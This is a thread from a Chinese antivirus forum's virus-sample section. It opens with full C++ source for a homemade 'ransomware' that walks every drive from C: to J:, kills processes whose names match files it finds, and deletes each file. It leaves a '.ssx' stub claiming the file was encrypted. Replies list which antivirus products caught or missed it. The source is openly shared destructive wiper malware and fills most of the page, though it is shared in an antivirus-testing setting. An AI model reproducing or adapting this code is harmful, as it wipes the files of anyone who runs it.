查看: 4979|回复: 77
收起左侧

[病毒样本] 自制勒索(其实只是删了文件就不管了)

  [复制链接]
idgg007
发表于 2021-5-29 19:10:11 | 显示全部楼层 |阅读模式
本帖最后由 idgg007 于 2021-5-29 19:25 编辑

代码:
  1. #include <Windows.h>
  2. #include <sstream>
  3. #include <fstream>
  4. #include <string>
  5. #include <cstdio>
  6. #include <vector>
  7. #include <stdio.h>
  8. #include <windows.h>
  9. #include <tlhelp32.h>
  10. #include <tchar.h>
  11. //typedef struct _WIN32_FIND_DATA {
  12. //    DWORD dwFileAttributes; //文件属性
  13. //    FILETIME ftCreationTime; // 文件创建时间
  14. //    FILETIME ftLastAccessTime; // 文件最后一次访问时间
  15. //    FILETIME ftLastWriteTime; // 文件最后一次修改时间
  16. //    DWORD nFileSizeHigh; // 文件长度高32位
  17. //    DWORD nFileSizeLow; // 文件长度低32位
  18. //    DWORD dwReserved0; // 系统保留
  19. //    DWORD dwReserved1; // 系统保留
  20. //    TCHAR cFileName[ MAX_PATH ]; // 长文件名
  21. //    TCHAR cAlternateFileName[ 14 ]; // 8.3格式文件名
  22. //  } WIN32_FIND_DATA, *PWIN32_FIND_DATA;
  23. //递归遍历指定文件夹下的所有文件夹和文件
  24. int GetProcessCount(const TCHAR* szExeName) {
  25.         TCHAR sztarget[MAX_PATH];
  26.         lstrcpy(sztarget, szExeName);
  27.         CharLowerBuff(sztarget, MAX_PATH);
  28.         int count = 0;
  29.         PROCESSENTRY32 my;
  30.         HANDLE l = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  31.         if (((int)l) != -1) {
  32.                 my.dwSize = sizeof(my);
  33.                 if (Process32First(l, &my)) {
  34.                         do {
  35.                                 CharLowerBuff(my.szExeFile, MAX_PATH);
  36.                                 if (lstrcmp(sztarget, my.szExeFile) == 0) {
  37.                                         count++;
  38.                                 }
  39.                         } while (Process32Next(l, &my));
  40.                 }
  41.                 CloseHandle(l);
  42.         }
  43.         return count;
  44. }
  45. DWORD GetProcessIdFromName(char *name) {
  46.         HANDLE  hsnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  47.         if (hsnapshot == INVALID_HANDLE_VALUE) {
  48.                 printf("CreateToolhelp32Snapshot Error!\n");
  49.                 return 0;
  50.         }

  51.         PROCESSENTRY32 pe;
  52.         pe.dwSize = sizeof(PROCESSENTRY32);

  53.         int flag = Process32First(hsnapshot, &pe);

  54.         while (flag != 0) {
  55.                 if (strcmp(pe.szExeFile, name) == 0) {
  56.                         return pe.th32ProcessID;
  57.                 }
  58.                 flag = Process32Next(hsnapshot, &pe);
  59.         }

  60.         CloseHandle(hsnapshot);

  61.         return 0;
  62. }
  63. bool        KillProcess(DWORD pid) {
  64.         HANDLE        hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pid);
  65.         if (!hProcess) {
  66.                 return false;
  67.         }
  68.         BOOL success = TerminateProcess(hProcess, 1);
  69.         CloseHandle(hProcess);
  70.         return success != FALSE;
  71. }
  72. void Start(char name[]){
  73.         char Isrun[100];
  74.         int l=0;
  75.         for(int i=0;name[i];i++){
  76.                 if(name[i]=='\\'){
  77.                         l=i;
  78.                 }
  79.         }
  80.         for(int i=l+1,j=0;name[i];i++){
  81.                 Isrun[j]=name[i];
  82.         }
  83.         if(!strcmp(Isrun,"勒索.exe")){//判断是否遍历到了自己
  84.                 return;
  85.         }
  86.         if(GetProcessCount(Isrun)){
  87.                 KillProcess(GetProcessIdFromName(Isrun));
  88.         }
  89.         remove(name);
  90.         strcat(name,".ssx");
  91.         std::ofstream out(name);
  92.         out<<"本文已经被加密";
  93. }
  94. void DirectorySearch(const char *dirPath) {

  95.         WIN32_FIND_DATAA lpFindFileData;//这是windows定义的结构体。参见上面
  96.         //路径临时缓存,如果传进来的路径参数dirPath包含最后一个'\',则不做操作,否则加上'\'
  97.         char dirPathTemp[MAX_PATH];
  98.         //路径搜索通配符参数,在总路径后面加上*,匹配所有文件和文件夹
  99.         char dirCodeTemp[MAX_PATH];
  100.         strcpy(dirPathTemp, dirPath);
  101.         strcpy(dirCodeTemp, dirPath);
  102.         const char *pChar = strrchr(dirPath, '\\');
  103.         //如果\\在末尾存在
  104.         if (pChar != NULL && strlen(pChar) == 1) {
  105.                 strcat(dirCodeTemp, "*");
  106.         } else {
  107.                 strcat(dirCodeTemp, "\\*");
  108.                 strcat(dirPathTemp, "\");
  109.         }
  110.         //根据dirCodeTemp通配符查找路径
  111.         HANDLE handle = FindFirstFileA(dirCodeTemp, &lpFindFileData);
  112.         if (handle == INVALID_HANDLE_VALUE) {
  113.                 //cout<<dirPathTemp<<"检索失败!"<<endl;
  114.                 return;
  115.         }
  116.         //如果输的的是文件,则打印名字和大小
  117.         if ((lpFindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) == 0) {
  118.                 //cout<<"文件名:"<<dirPathTemp<<"  大小:"<< lpFindFileData.nFileSizeHigh * (MAXDWORD+1) + lpFindFileData.nFileSizeLow<<endl;
  119.                 Start(dirPathTemp);
  120.         }
  121.         //如果输的的是文件夹,则打印名字
  122.         else {
  123.                 //cout<<"文件夹名:"<<dirPathTemp<<endl;
  124.         }
  125.         //遍历本路径下的文件夹和文件
  126.         while (FindNextFileA(handle, &lpFindFileData)) {
  127.                 //如果是当前根路径,则无需检查(因为上面已经打印了)
  128.                 if (!strcmp(lpFindFileData.cFileName, ".") || !strcmp(lpFindFileData.cFileName, ".."))
  129.                         continue;
  130.                 //当前文件夹或文件的全路径(当前根路径 + 文件夹或文件的名称)
  131.                 char dirFileTemp[MAX_PATH];
  132.                 strcpy(dirFileTemp, dirPathTemp);
  133.                 strcat(dirFileTemp, lpFindFileData.cFileName);
  134.                 if ((lpFindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) == 0) {
  135.                         //cout<<"文件名:"<<dirFileTemp<<"  大小:"<< lpFindFileData.nFileSizeHigh * (MAXDWORD+1) + lpFindFileData.nFileSizeLow<<endl;
  136.                         Start(dirFileTemp);
  137.                 } else {
  138.                         //cout<<"文件夹名:"<<dirFileTemp<<endl;
  139.                         strcat(dirFileTemp, "\");
  140.                         //递归检查此子文件夹
  141.                         DirectorySearch(dirFileTemp);
  142.                 }
  143.         }
  144.         //关闭文件搜索句柄
  145.         FindClose(handle);
  146. }
  147. int FILE_GPS(char Str[]) {
  148.         DirectorySearch(Str);
  149.         return 0;
  150. }
  151. int main(){
  152.         FILE_GPS("D:\");
  153.         FILE_GPS("E:\");
  154.         FILE_GPS("F:\");
  155.         FILE_GPS("I:\");
  156.         FILE_GPS("J:\");
  157.         FILE_GPS("B:\");
  158.         FILE_GPS("G:\");
  159.         FILE_GPS("H:\");
  160.         FILE_GPS("C:\");
  161.         return 0;
  162. }
复制代码
C++代码
idgg007
 楼主| 发表于 2021-5-29 19:12:03 | 显示全部楼层
761773275
发表于 2021-5-29 19:13:19 | 显示全部楼层
本帖最后由 761773275 于 2021-5-29 19:28 编辑

HitmanPro.Alert 被过


EMSI杀



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
idgg007
 楼主| 发表于 2021-5-29 19:18:17 | 显示全部楼层
换了一个GCC,现在能传了

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
idgg007
 楼主| 发表于 2021-5-29 19:18:47 | 显示全部楼层

发了
hyx2230
发表于 2021-5-29 19:20:06 | 显示全部楼层
火绒、智量扫描miss
正在缓冲
头像被屏蔽
发表于 2021-5-29 19:22:29 | 显示全部楼层
本帖最后由 正在缓冲 于 2021-5-29 19:23 编辑

微软够神奇VirusTotal
心心相印
发表于 2021-5-29 19:26:06 | 显示全部楼层
eis miss
idgg007
 楼主| 发表于 2021-5-29 19:26:23 | 显示全部楼层
最惨的是我在学校机房改代码的时候插着U盘,就运行了,U盘遭殃
anthonyqian
发表于 2021-5-29 19:32:49 | 显示全部楼层
诺顿双击DP拦截。
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-5-10 16:41 , Processed in 0.143236 second(s), 17 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表